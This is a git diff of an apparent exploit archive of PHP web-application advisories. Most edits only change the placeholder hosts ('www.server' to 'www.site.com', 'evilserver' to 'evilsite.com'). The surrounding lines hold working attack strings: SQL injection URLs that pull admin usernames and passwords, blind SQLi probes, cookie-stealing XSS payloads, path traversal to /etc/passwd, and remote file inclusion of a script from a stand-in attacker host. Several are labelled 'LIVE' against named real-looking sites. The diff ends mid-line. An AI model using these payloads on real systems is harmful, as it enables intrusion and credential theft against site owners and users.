diff --git a/platforms/php/webapps/9219.txt b/platforms/php/webapps/9219.txt index db9a13dc7..c944f0d53 100755 --- a/platforms/php/webapps/9219.txt +++ b/platforms/php/webapps/9219.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/9226.txt b/platforms/php/webapps/9226.txt index 8f1dc1d36..14f427223 100755 --- a/platforms/php/webapps/9226.txt +++ b/platforms/php/webapps/9226.txt @@ -18,14 +18,14 @@ ===[ Exploit SQL INJECTION + LIVE : vulnerability ]=== -[»] http://www.server/patch/search.php?sa=site&sk=a&nl=11&st= +[»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st= [»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/* [»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/* ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/search.php?sa=site&sk=a&nl=11&st= +[»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st= [»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script> [»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9227.txt b/platforms/php/webapps/9227.txt index 7401e8461..d0d99b5cb 100755 --- a/platforms/php/webapps/9227.txt +++ b/platforms/php/webapps/9227.txt @@ -30,8 +30,8 @@ ===[ Exploit RFI + LIVE : vulnerability ]=== -[»] http://www.server/patch/?url=[RFI]&file=Search -[»] http://www.server/patch/index.php?url=[RFI]&file=Search +[»] http://www.site.com/patch/?url=[RFI]&file=Search +[»] http://www.site.com/patch/index.php?url=[RFI]&file=Search [»] http://www.mydlstore.net/metasearch/?url=evilcode.txt?&file=Search [»] http://www.mydlstore.net/metasearch/index.php?url=evilcode.txt?&file=Search diff --git a/platforms/php/webapps/9236.txt b/platforms/php/webapps/9236.txt index a2bea6c4e..91c5b3fcd 100755 --- a/platforms/php/webapps/9236.txt +++ b/platforms/php/webapps/9236.txt @@ -21,11 +21,11 @@ _________________________________________________________________ # # [+] Blind SQL # -# - http://www.server/index.php?cat=[nr] and 1=1 <= true -# - http://www.server/index.php?cat=[nr] and 1=2 <= False +# - http://www.site.com/index.php?cat=[nr] and 1=1 <= true +# - http://www.site.com/index.php?cat=[nr] and 1=2 <= False # -# - http://www.server/index.php?cat=[nr] and substring(@@version,1,1)=4 <= false -# - http://www.server/index.php?cat=[nr] and substring(@@version,1,1)=5 <= true +# - http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=4 <= false +# - http://www.site.com/index.php?cat=[nr] and substring(@@version,1,1)=5 <= true # # [+] Demo # diff --git a/platforms/php/webapps/9237.txt b/platforms/php/webapps/9237.txt index c6c4b276f..0ca48f02b 100755 --- a/platforms/php/webapps/9237.txt +++ b/platforms/php/webapps/9237.txt @@ -32,7 +32,7 @@ if (isset($_GET['a'])) { ................................................................................................................. #Exploit: -http://www.server/a.php?a=../../../../../../../../etc/passwd%00 +http://www.site.com/a.php?a=../../../../../../../../etc/passwd%00 ############################################################################## ::: Auth Bypass SQL Injection Vulnerability ::: diff --git a/platforms/php/webapps/9243.txt b/platforms/php/webapps/9243.txt index 93d91944c..757c008cf 100755 --- a/platforms/php/webapps/9243.txt +++ b/platforms/php/webapps/9243.txt @@ -30,21 +30,21 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/search.php?keywords=1&selectcategory=[SQL]&submit=search +[»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[SQL]&submit=search [»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1+union+select+version()--&submit=search ===[ Exploit + LIVE : BLIND SQL vulnerability ]=== -[»] http://www.server/patch/search.php?keywords=1&selectcategory=[BLIND] +[»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[BLIND] [»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1 and 1=1+union+select+version()--&submit=search ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/buy1.php?category=11&place=[XSS] -[»] http://www.server/patch/index2.php?category=[XSS] -[»] http://www.server/patch/search.php?keywords=1&selectcategory=[XSS] +[»] http://www.site.com/patch/buy1.php?category=11&place=[XSS] +[»] http://www.site.com/patch/index2.php?category=[XSS] +[»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[XSS] [»] http://www.turnkeysetup.net/demos/million/buy1.php?category=11&place="><script>alert(document.cookie);</script> [»] http://www.turnkeysetup.net/demos/million/index2.php?category="><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9244.txt b/platforms/php/webapps/9244.txt index 897a5c1cb..b31e5d9b6 100755 --- a/platforms/php/webapps/9244.txt +++ b/platforms/php/webapps/9244.txt @@ -21,7 +21,7 @@ _________________________________________________________________ # # [+] Javascript Execution # -# - Go in : http://www.server/ajaxim/, regist you and connect. Join a channel and in the input write : 'r"'><script>alert('xss')</script> (or any javascript after the 'r"'>) and press enter : the javascript is executed. +# - Go in : http://www.site.com/ajaxim/, regist you and connect. Join a channel and in the input write : 'r"'><script>alert('xss')</script> (or any javascript after the 'r"'>) and press enter : the javascript is executed. # - Click on IM anyone and write in the input : 'r"'><script>alert('xss')</script> (or any javascript after the 'r"'>) and press enter : the javascript is executed # # [+] Demo diff --git a/platforms/php/webapps/9249.txt b/platforms/php/webapps/9249.txt index d42c7e77b..a155b15ff 100755 --- a/platforms/php/webapps/9249.txt +++ b/platforms/php/webapps/9249.txt @@ -11,7 +11,7 @@ Source code: } else $codigo = $_GET['codigo']; *********************************************************************************************************** -Target: server.br/modules/qas/aviso.php?codigo= +Target: site.com.br/modules/qas/aviso.php?codigo= Sql Code :-1+UNION+SELECT+1,2,columnname,4,5,6,7,8+from+tablename Demo: http://www.dce.uem.br/modules/qas/aviso.php?codigo=-1+UNION+SELECT+1,2,3,4,5,6,7,8-- *********************************************************************************************************** diff --git a/platforms/php/webapps/9251.txt b/platforms/php/webapps/9251.txt index 8b3c19b57..bc821017a 100755 --- a/platforms/php/webapps/9251.txt +++ b/platforms/php/webapps/9251.txt @@ -17,7 +17,7 @@ Deonixscripts Templates Management Version 1.3 SQL Injection Vulnerability ---------------------------------------------------------------------------------- - () Vulnerability demo :- http://www.server/path/index.php?action=readmore&id=(SQL c0de) + () Vulnerability demo :- http://www.site.com/path/index.php?action=readmore&id=(SQL c0de) () Live demo :- http://www.deonixscripts.com/demo/tplmgt13/index.php?action=readmore&id=-1+union+select+1,version(),3,4+from+admin-- diff --git a/platforms/php/webapps/9254.txt b/platforms/php/webapps/9254.txt index 1a75beb0c..f1bfd00d9 100755 --- a/platforms/php/webapps/9254.txt +++ b/platforms/php/webapps/9254.txt @@ -17,13 +17,13 @@ Code: Set the proper l(login) var in the parameter request. In this example, l=admin -http://www.server/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_asp%20limit%200,1 +http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_asp%20limit%200,1 In the Answer field, you will see the login:password for the -http://www.server/path-to-phplive/setup/login.php +http://www.site.com/path-to-phplive/setup/login.php or, if you want to mess only just with the operators, -http://www.server/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_admin%20limit%200,1 +http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_admin%20limit%200,1 # milw0rm.com [2009-07-24] diff --git a/platforms/php/webapps/9255.txt b/platforms/php/webapps/9255.txt index 7ede9d3dc..7b6cd072c 100755 --- a/platforms/php/webapps/9255.txt +++ b/platforms/php/webapps/9255.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/9256.txt b/platforms/php/webapps/9256.txt index c3908a4cc..68605d7d0 100755 --- a/platforms/php/webapps/9256.txt +++ b/platforms/php/webapps/9256.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/9258.txt b/platforms/php/webapps/9258.txt index e040d6a76..c41d1f79b 100755 --- a/platforms/php/webapps/9258.txt +++ b/platforms/php/webapps/9258.txt @@ -30,7 +30,7 @@ ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND] +[»] http://www.site.com/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND] [»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438 and 1=1 <= TRUE [»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438 and 1=2 <= FALSE @@ -42,7 +42,7 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/components/com_aclassf/gmap.php?addr=[XSS] +[»] http://www.site.com/patch/components/com_aclassf/gmap.php?addr=[XSS] [»] http://www.almondsoft.com/j/components/com_aclassf/gmap.php?addr="><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9259.txt b/platforms/php/webapps/9259.txt index c551d7d94..c0019ce50 100755 --- a/platforms/php/webapps/9259.txt +++ b/platforms/php/webapps/9259.txt @@ -30,7 +30,7 @@ ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?ct=manw_repl&md=add_form&replid=[BLIND] +[»] http://www.site.com/patch/index.php?ct=manw_repl&md=add_form&replid=[BLIND] [»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438 and 1=1 <= TRUE [»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438 and 1=2 <= FALSE @@ -42,7 +42,7 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city=[XSS]&page=2 +[»] http://www.site.com/patch/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city=[XSS]&page=2 [»]http://www.almondsoft.com/clnt/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city="><script>alert(document.cookie);</script>&page=2 diff --git a/platforms/php/webapps/9260.txt b/platforms/php/webapps/9260.txt index d840ff0a3..fe09a3971 100755 --- a/platforms/php/webapps/9260.txt +++ b/platforms/php/webapps/9260.txt @@ -30,18 +30,18 @@ ===[ Exploit + LIVE : RFI/LFI vulnerability ]=== -[»] http://www.server/patch/?layout=[LFI] -[»] http://www.server/patch/?language_id=[LFI] +[»] http://www.site.com/patch/?layout=[LFI] +[»] http://www.site.com/patch/?language_id=[LFI] -[»] http://www.server/patch/?language_id=[RFI] +[»] http://www.site.com/patch/?language_id=[RFI] [»] http://www.rsvpsinglelife.com/?layout=../../../../../../../../etc/passwd [»] http://www.rsvpsinglelife.com/?language_id=../../../../../../../../etc/passwd ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/admin/auth.php/[XSS] -[»] http://www.server/patch/file_uploader.php/[XSS] +[»] http://www.site.com/patch/admin/auth.php/[XSS] +[»] http://www.site.com/patch/file_uploader.php/[XSS] [»] http://www.skadate.com/demo/admin/auth.php/"><script>alert(document.cookie);</script> [»] http://www.skadate.com/demo/file_uploader.php/"><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9261.txt b/platforms/php/webapps/9261.txt index f2b8e447c..7841a4541 100755 --- a/platforms/php/webapps/9261.txt +++ b/platforms/php/webapps/9261.txt @@ -30,9 +30,9 @@ ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/categoria.php?cod_categoria=[BLIND] -[»] http://www.server/patch/imprimir.php?codigo=[BLIND] -[»] http://www.server/patch/aviso.php?codigo=[BLIND] +[»] http://www.site.com/patch/categoria.php?cod_categoria=[BLIND] +[»] http://www.site.com/patch/imprimir.php?codigo=[BLIND] +[»] http://www.site.com/patch/aviso.php?codigo=[BLIND] [»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria=1 and 1=1 <= TRUE [»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria=1 and 1=2 <= FALSE @@ -45,10 +45,10 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/categoria.php?cod_categoria=[XSS] -[»] http://www.server/patch/index.php?opcao=[XSS] -[»] http://www.server/patch/categoria.php/[XSS] -[»] http://www.server/patch/index.php/[XSS] +[»] http://www.site.com/patch/categoria.php?cod_categoria=[XSS] +[»] http://www.site.com/patch/index.php?opcao=[XSS] +[»] http://www.site.com/patch/categoria.php/[XSS] +[»] http://www.site.com/patch/index.php/[XSS] [»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria="><script>alert(document.cookie);</script> [»] http://www.dce.uem.br/modules/qas/index.php?opcao=1>'><ScRiPt %0A%0D>alert(439286918587)%3B</ScRiPt> diff --git a/platforms/php/webapps/9262.txt b/platforms/php/webapps/9262.txt index bc225a049..cf3971c48 100755 --- a/platforms/php/webapps/9262.txt +++ b/platforms/php/webapps/9262.txt @@ -30,19 +30,19 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/view.php?key=[SQL] +[»] http://www.site.com/patch/view.php?key=[SQL] [»]http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/view.php?key=[BLIND] +[»] http://www.site.com/patch/view.php?key=[BLIND] [»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=1 and 11=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/view.php?key=[XSS] +[»] http://www.site.com/patch/view.php?key=[XSS] [»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key="><script>alert(document.cookie);</script>. diff --git a/platforms/php/webapps/9282.txt b/platforms/php/webapps/9282.txt index e85b0627c..360193e07 100755 --- a/platforms/php/webapps/9282.txt +++ b/platforms/php/webapps/9282.txt @@ -24,7 +24,7 @@ ===[ Exploit SQL ]=== - [»] http://www.server/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13-- + [»] http://www.Site.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13-- [»] Note : if you want mail list this is a table [ maillist ] the column > [email] and show mail list diff --git a/platforms/php/webapps/9283.txt b/platforms/php/webapps/9283.txt index a9f6d0f47..bc8a283d3 100755 --- a/platforms/php/webapps/9283.txt +++ b/platforms/php/webapps/9283.txt @@ -26,7 +26,7 @@ You Need magic_quotes_gpc = off ===[ Exploit SQL ]=== - [»] http://www.server/path/admin + [»] http://www.Site.com/path/admin [»] Exploit : First : 'or 1=1 or ' & or & 'or 1=1/* diff --git a/platforms/php/webapps/9308.txt b/platforms/php/webapps/9308.txt index c5e8c0c37..800be889a 100755 --- a/platforms/php/webapps/9308.txt +++ b/platforms/php/webapps/9308.txt @@ -13,13 +13,13 @@ - PoC's - http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilserver/evilscript.txt%00 + http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilsite.com/evilscript.txt%00 - http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilserver/evilscript.txt%00 + http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilsite.com/evilscript.txt%00 - http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilserver/evilscript.txt%00 + http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilsite.com/evilscript.txt%00 - http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilserver/evilscript.txt%00 + http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilsite.com/evilscript.txt%00 ################################################################################################################## diff --git a/platforms/php/webapps/9327.txt b/platforms/php/webapps/9327.txt index 39cc0321c..aa40b0d79 100755 --- a/platforms/php/webapps/9327.txt +++ b/platforms/php/webapps/9327.txt @@ -45,7 +45,7 @@ $cid = preg_replace("/'\/<>\"/","",$_GET['cid']); //X #Exploit: -http://WWW.server/goldv3/artcat.php?cid=-1'+union+select+adminpass,2,adminn,4,5+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/artcat.php?cid=-1'+union+select+adminpass,2,adminn,4,5+from+mobilelib_admin/* ----------------------------------------------------------------------------------------------------------------- @@ -55,23 +55,23 @@ http://WWW.server/goldv3/artcat.php?cid=-1'+union+select+adminpass,2,adminn,4,5+ )=> show.php || Remote SQL Injection Vulnerability #Exploit: -http://WWW.server/goldv3/show.php?cat=games&catid=-1'+union+select+1,2,adminpass,4,5,adminn,7,8+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=games&catid=-1'+union+select+1,2,adminpass,4,5,adminn,7,8+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=pro&catid=-1'+union+select+1,2,adminn,adminpass,5,6,7,8,9+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=pro&catid=-1'+union+select+1,2,adminn,adminpass,5,6,7,8,9+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=themes&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=themes&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=wallpapers&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=wallpapers&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=blue&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=blue&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=mms&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=mms&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=sound&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=sound&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=vido&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9,10+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=vido&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9,10+from+mobilelib_admin/* -http://WWW.server/goldv3/show.php?cat=msgs&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* +http://WWW.Site.Com/goldv3/show.php?cat=msgs&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/* ----------------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/9338.txt b/platforms/php/webapps/9338.txt index 2c9b2823d..02f0b7213 100755 --- a/platforms/php/webapps/9338.txt +++ b/platforms/php/webapps/9338.txt @@ -30,15 +30,15 @@ ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?historyyear=2009&historymonth=[BLIND] +[»] http://www.site.com/patch/index.php?historyyear=2009&historymonth=[BLIND] [»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=1 <= TRUE [»] http://miniweb2.com/moduledemo/publisher/index.php?historyyear=2009&historymonth=02 and 1=2 <= FALSE ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/index.php/[XSS] -[»] http://www.server/patch/index.php?loginaction=1&begin=[XSS] +[»] http://www.site.com/patch/index.php/[XSS] +[»] http://www.site.com/patch/index.php?loginaction=1&begin=[XSS] [»] http://miniweb2.com/moduledemo/publisher/index.php/"><script>alert(document.cookie);</script> [»] http://miniweb2.com/moduledemo/publisher/index.php?loginaction=1&begin="><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9339.txt b/platforms/php/webapps/9339.txt index 58c449a17..a894c2830 100755 --- a/platforms/php/webapps/9339.txt +++ b/platforms/php/webapps/9339.txt @@ -30,14 +30,14 @@ ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?task=results&campaign_id=[BLIND] +[»] http://www.site.com/patch/index.php?task=results&campaign_id=[BLIND] [»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=1 <= TRUE [»] http://miniweb2.com/moduledemo/surveypro/index.php?task=results&campaign_id=1 and 1=2 <= FALSE ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/index.php/[XSS] +[»] http://www.site.com/patch/index.php/[XSS] [»] http://miniweb2.com/moduledemo/surveypro/index.php/"><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9340.txt b/platforms/php/webapps/9340.txt index c6bf95651..d241093b9 100755 --- a/platforms/php/webapps/9340.txt +++ b/platforms/php/webapps/9340.txt @@ -30,22 +30,22 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/report.php?id=[SQL] +[»] http://www.site.com/patch/report.php?id=[SQL] [»] http://www.x10media.com/adult/report.php?id=null+union+select+version() ===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/report.php?id=[BLIND] +[»] http://www.site.com/patch/report.php?id=[BLIND] [»] http://www.x10media.com/adult/report.php?id=77917 and 1=null+union+select+version() ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/includes/video_ad.php?pic_id=[XSS] -[»] http://www.server/patch/linkvideos_listing.php?category=[XSS] -[»] http://www.server/patch/templates/header1.php?id=[XSS] -[»] http://www.server/patch/video_listing.php?category=[NB]&sort=[NB]&key=[XSS] +[»] http://www.site.com/patch/includes/video_ad.php?pic_id=[XSS] +[»] http://www.site.com/patch/linkvideos_listing.php?category=[XSS] +[»] http://www.site.com/patch/templates/header1.php?id=[XSS] +[»] http://www.site.com/patch/video_listing.php?category=[NB]&sort=[NB]&key=[XSS] [»] http://www.x10media.com/adult/includes/video_ad.php?pic_id="><script>alert(document.cookie);</script> [»] http://www.x10media.com/adult/linkvideos_listing.php?category="><script>alert(document.cookie);</script> diff --git a/platforms/php/webapps/9342.txt b/platforms/php/webapps/9342.txt index 94b012bf0..990ec659a 100755 --- a/platforms/php/webapps/9342.txt +++ b/platforms/php/webapps/9342.txt @@ -21,7 +21,7 @@ _________________________________________________________________ # # [+] SQL # -# - http://www.server/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8-- +# - http://www.site.com/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8-- # # [+] Demo # @@ -29,11 +29,11 @@ _________________________________________________________________ # # [+] XSS # -# - http://www.server/buglist.php?component=[XSS/IFRAME/REDIRECTION] +# - http://www.site.com/buglist.php?component=[XSS/IFRAME/REDIRECTION] # -# - http://www.server/buglist.php?priority=[XSS/IFRAME/REDIRECTION] +# - http://www.site.com/buglist.php?priority=[XSS/IFRAME/REDIRECTION] # -# - http://www.server/createaccount.php => Username : "'><script>alert('xss')</script> +# - http://www.site.com/createaccount.php => Username : "'><script>alert('xss')</script> # => E-mail : "'><script>alert('xss')</script> # => Pass : "'><script>alert('xss')</script> # => Confirm pass : "'><script>alert('xss')</script> diff --git a/platforms/php/webapps/9344.txt b/platforms/php/webapps/9344.txt index 7b3662f99..2455ba51c 100755 --- a/platforms/php/webapps/9344.txt +++ b/platforms/php/webapps/9344.txt @@ -1,6 +1,6 @@ > > [+] Bug : Powered by Multi Website 1.5 (index php action) Remote SQL Injection Vulnerability > > -> > [+] Script home : http://www.multi-webserver +> > [+] Script home : http://www.multi-website.com > > > > [+] Affected versions : 1.5 > > @@ -22,11 +22,11 @@ > > > > > > > > ==> ExplO!t : > > > > -> > > > server/[path]/?action=vote&Browse=-1+union+select+1,@@version-- +> > > > www.target.com/[path]/?action=vote&Browse=-1+union+select+1,@@version-- > > > >========================================================= > > > > L!VE Demo : > > > > -> > > http://www.multi-webserver/demo/?action=vote&Browse=-1+union+select+1,@@version-- +> > > http://www.multi-website.com/demo/?action=vote&Browse=-1+union+select+1,@@version-- > > ============================================================= > > greats to : his0k4 , The g0bL!n , black zero , thirdd_Devil ,devil > > fucker ,3loosh_al7rbi ,HCj , ALM 511 , all members [ lezr.com ] .# diff --git a/platforms/php/webapps/9347.txt b/platforms/php/webapps/9347.txt index 1a73b8369..6ce601115 100755 --- a/platforms/php/webapps/9347.txt +++ b/platforms/php/webapps/9347.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/9349.txt b/platforms/php/webapps/9349.txt index d10dab8e2..1b1f7e0d4 100755 --- a/platforms/php/webapps/9349.txt +++ b/platforms/php/webapps/9349.txt @@ -54,7 +54,7 @@ if (isset($_GET['more'])) { You can retrieve information from 3,4,7,8 fields. -http://www.server/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10 +http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10 *************************************************** diff --git a/platforms/php/webapps/9356.txt b/platforms/php/webapps/9356.txt index f7c5a5371..7f91ec59f 100755 --- a/platforms/php/webapps/9356.txt +++ b/platforms/php/webapps/9356.txt @@ -1,4 +1,4 @@ -Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities + Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities ============================================================================== diff --git a/platforms/php/webapps/9358.txt b/platforms/php/webapps/9358.txt index 67d24f841..020e6f0ad 100755 --- a/platforms/php/webapps/9358.txt +++ b/platforms/php/webapps/9358.txt @@ -1,4 +1,4 @@ -@ ===================================================================================@ + @ ===================================================================================@ / Title : Local File Inclusion Vulnerability \ Software : In-Portal 4.3.1 Vendor : http://www.in-portal.net/ diff --git a/platforms/php/webapps/9365.txt b/platforms/php/webapps/9365.txt index 7e3067e6b..ececb9b3b 100755 --- a/platforms/php/webapps/9365.txt +++ b/platforms/php/webapps/9365.txt @@ -17,7 +17,7 @@ - You must be logged in. - http://127.0.0.1/index.php?main_tabid=1&main_content=http://evilserver/evilscript.txt + http://127.0.0.1/index.php?main_tabid=1&main_content=http://evilsite.com/evilscript.txt ################################################################################################ diff --git a/platforms/php/webapps/9384.txt b/platforms/php/webapps/9384.txt index be88dca43..a7e66f75e 100755 --- a/platforms/php/webapps/9384.txt +++ b/platforms/php/webapps/9384.txt @@ -33,9 +33,9 @@ if ( $_GET['id'] ) ................................................................................................................. #Exploit: -http://WWW.server/alwasel/show.php?page=cat&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13#-- +http://WWW.Site.Com/alwasel/show.php?page=cat&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13#-- -http://WWW.server/alwasel/show.php?page=site&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16#-- +http://WWW.Site.Com/alwasel/show.php?page=site&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16#-- ----------------------------------------------------------------------------------------------------------------- @@ -49,7 +49,7 @@ if ( $_GET['id'] ) ................................................................................................................. #Exploit: -http://WWW.server/alwasel/xml.php?page=cat&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13#-- +http://WWW.Site.Com/alwasel/xml.php?page=cat&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13#-- ----------------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/9387.txt b/platforms/php/webapps/9387.txt index d5eec281d..e96811c67 100755 --- a/platforms/php/webapps/9387.txt +++ b/platforms/php/webapps/9387.txt @@ -20,11 +20,11 @@ _________________________________________________________________ # # [+] Blind # -# - http://www.server/click.php?hostid=[nr1]&targetid=[nr2] and 1=1 <= True so the page is redirected -# - http://www.server/click.php?hostid=[nr1]&targetid=[nr2] and 1=2 <= False so the page isn't redirected +# - 